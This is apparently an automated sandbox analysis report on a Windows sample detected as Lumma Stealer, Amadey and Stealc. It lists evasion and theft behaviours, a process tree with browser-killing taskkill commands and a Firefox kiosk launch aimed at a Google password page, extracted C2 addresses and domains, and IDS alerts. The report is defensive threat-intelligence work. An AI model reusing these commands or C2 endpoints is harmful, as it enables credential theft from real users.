Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545816
MD5:	7bd9ddf41cf8c2451e6e75242febfda1
SHA1:	94af38e810957befdd50512626f3aab2d1864598
SHA256:	97fd020744b762f6103a7712a182af2161557bae49cae9772c2a9b5ebad82513
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7BD9DDF41CF8C2451E6E75242FEBFDA1)

QPHIWB3GKESEWV8SSDAQV1GC2I70.exe (PID: 7848 cmdline: "C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe" MD5: 69E939844ED586ED304E0C4D9DB0BFC4)

EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe (PID: 8012 cmdline: "C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe" MD5: 6FD2A1CD87446EB0BEA541E0D7388E1C)

skotes.exe (PID: 8176 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6FD2A1CD87446EB0BEA541E0D7388E1C)

skotes.exe (PID: 6772 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6FD2A1CD87446EB0BEA541E0D7388E1C)

skotes.exe (PID: 928 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6FD2A1CD87446EB0BEA541E0D7388E1C)

6cadd3f0fd.exe (PID: 7516 cmdline: "C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe" MD5: 7BD9DDF41CF8C2451E6E75242FEBFDA1)

1171a5b648.exe (PID: 2032 cmdline: "C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe" MD5: E4B956C7C98758B0FEDDA4156545593D)

275df0ca27.exe (PID: 2312 cmdline: "C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe" MD5: 1D861B36E55E04FBC04FF38B5D152A08)

taskkill.exe (PID: 4624 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1144 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3452 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2128 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4820 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3796 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6072 cmdline: "C:\Users\user\AppData\Local\Temp\1002779001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

6cadd3f0fd.exe (PID: 6292 cmdline: "C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe" MD5: 7BD9DDF41CF8C2451E6E75242FEBFDA1)

A5RXP2EPUMEJDLAL7A3JI.exe (PID: 6672 cmdline: "C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe" MD5: 69E939844ED586ED304E0C4D9DB0BFC4)

B1DZUXGXMC4OXONLCU5KVQ.exe (PID: 1740 cmdline: "C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe" MD5: 6FD2A1CD87446EB0BEA541E0D7388E1C)

firefox.exe (PID: 4412 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7860 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1988 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70149f39-4644-4285-b4ad-18afc232e38d} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c164c71110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7004 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1632 -parentBuildID 20230927232528 -prefsHandle 1484 -prefMapHandle 3904 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f69ba0-f69f-45b7-b28b-3edde4189f95} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c176eb0a10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

1171a5b648.exe (PID: 2148 cmdline: "C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe" MD5: E4B956C7C98758B0FEDDA4156545593D)

275df0ca27.exe (PID: 2596 cmdline: "C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe" MD5: 1D861B36E55E04FBC04FF38B5D152A08)

taskkill.exe (PID: 5864 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4428 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1836 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7032 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 2060 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7920 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 888 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2188 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e1a6159-709e-4015-91b7-c27852cbfe8d} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d594569d10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7316 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4516 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4476 -prefMapHandle 4520 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {772a86bb-9c44-49fb-b5c4-a3def5e3b247} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d5a7886d10 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5344 cmdline: "C:\Users\user\AppData\Local\Temp\1002779001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "thumbystriw.store", "scriptyprefej.store", "founpiuer.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1002779001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000003.2629694606.00000000010C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1946832633.0000000000471000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2529289944.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2672725289.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1919373929.0000000000461000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2607023655.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2585953036.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2604298529.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2531875867.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2585858854.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000000.2588138718.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2611179744.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2488093515.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2658132730.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.1950487972.0000000000471000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2604161455.0000000000E81000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.2318263241.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2628157062.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000000.2588009468.0000000000E81000.00000080.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.2632031246.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.1908505186.0000000004830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1729402235.00000000011BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.1906133835.0000000005240000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2685024844.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2604592172.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.1878822213.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2628798588.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7492	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6cadd3f0fd.exe PID: 7516	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6cadd3f0fd.exe PID: 7516	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6cadd3f0fd.exe PID: 7516	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1171a5b648.exe PID: 2032	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1171a5b648.exe PID: 2032	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 275df0ca27.exe PID: 2312	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 6cadd3f0fd.exe PID: 6292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6cadd3f0fd.exe PID: 6292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6cadd3f0fd.exe PID: 6292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: num.exe PID: 6072	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 6072	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1171a5b648.exe PID: 2148	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 1171a5b648.exe PID: 2148	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 39 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.num.exe.e80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.460000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.skotes.exe.470000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.1171a5b648.exe.f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
28.0.num.exe.e80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.skotes.exe.470000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.1171a5b648.exe.f0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 928, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6cadd3f0fd.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 928, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6cadd3f0fd.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:56.932961+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T04:14:58.017276+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T04:15:09.540155+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T04:16:14.177925+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-31T04:16:15.314322+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T04:16:27.033975+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49921	188.114.97.3	443	TCP
2024-10-31T04:16:27.127902+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49919	188.114.97.3	443	TCP
2024-10-31T04:16:28.093386+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T04:16:42.822256+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50043	188.114.97.3	443	TCP
2024-10-31T04:17:00.133834+0100	2054653	1	A Network Trojan was detected	192.168.2.4	58616	188.114.97.3	443	TCP
2024-10-31T04:17:01.491206+0100	2054653	1	A Network Trojan was detected	192.168.2.4	58618	188.114.97.3	443	TCP
2024-10-31T04:17:10.575184+0100	2054653	1	A Network Trojan was detected	192.168.2.4	58629	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:56.932961+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T04:16:14.177925+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-31T04:16:27.033975+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49921	188.114.97.3	443	TCP
2024-10-31T04:17:00.133834+0100	2049836	1	A Network Trojan was detected	192.168.2.4	58616	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:58.017276+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T04:16:15.314322+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T04:16:28.093386+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T04:17:01.491206+0100	2049812	1	A Network Trojan was detected	192.168.2.4	58618	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T04:14:56.263375+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T04:14:57.577560+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T04:14:58.869607+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T04:15:00.446701+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T04:15:01.840353+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T04:15:03.657597+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T04:15:05.011366+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T04:15:09.084682+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T04:16:13.638134+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-31T04:16:14.830578+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T04:16:16.234014+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49860	188.114.97.3	443	TCP
2024-10-31T04:16:17.453496+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49868	188.114.97.3	443	TCP
2024-10-31T04:16:19.349837+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-31T04:16:21.811520+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49893	188.114.97.3	443	TCP
2024-10-31T04:16:23.725153+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49904	188.114.97.3	443	TCP
2024-10-31T04:16:26.454397+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49919	188.114.97.3	443	TCP
